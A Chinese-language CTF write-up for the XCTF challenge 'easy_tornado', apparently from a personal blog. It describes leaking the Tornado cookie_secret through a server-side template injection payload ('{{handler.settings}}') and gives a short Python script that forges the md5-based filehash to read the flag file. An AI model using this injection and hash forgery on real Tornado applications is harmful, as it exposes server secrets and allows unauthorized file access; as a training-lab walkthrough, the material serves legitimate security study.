【攻防世界】easy_tornado 解题思路及解题方法

题目给出使用Tornado服务器框架,有关这个框架更多信息,可以去看我以前写的文章 👉 搭建Tornado网络服务器框架

访问站点给出仨个目录

/flag.txt
/welcome.txt
/hints.txt

对应的内容如下

/flag.txt
flag in /fllllllllllllag

/welcome.txt
render

/hints.txt
md5(cookie_secret+md5(filename))

此时访问的链接如下

http://111.198.29.xx:50799/file?filename=/flag.txt&filehash=2846ecbfac66a9d90d30da57696c820b

结合Tornado的尿性,查了下漏洞库,当我们 POST 错误请求时会返回 msgerror

直接回显,这边说不定有注入漏洞

整了半天没整出来一个好的

网上大佬爆出了tornado的一个注入(ssti攻击)

找到突破点

{{handler.settings}}

有关这个注入请查阅:https://tornado.readthedocs.io/en/latest/guide/templates.html#template-syntax

结合前面三个文件所给出的信息写了个小脚本跑出了flag

import hashlib as ha
def md5(num):
     md5 = ha.md5()
     md5.update(num)
     return md5.hexdigest()
def flag():
     filename = '/fllllllllllllag'
     cookie_secret ="afdc6627-d0f3-4efb-8f39-d4059262faf2"
     print(md5(filename.encode('utf-8'))) 
     x=md5(filename.encode('utf-8'))
     y=cookie_secret+x
     print(md5(y.encode('utf-8')))
flag()

最后

点赞

发表评论

电子邮件地址不会被公开,只有你知道( ̄▽ ̄)"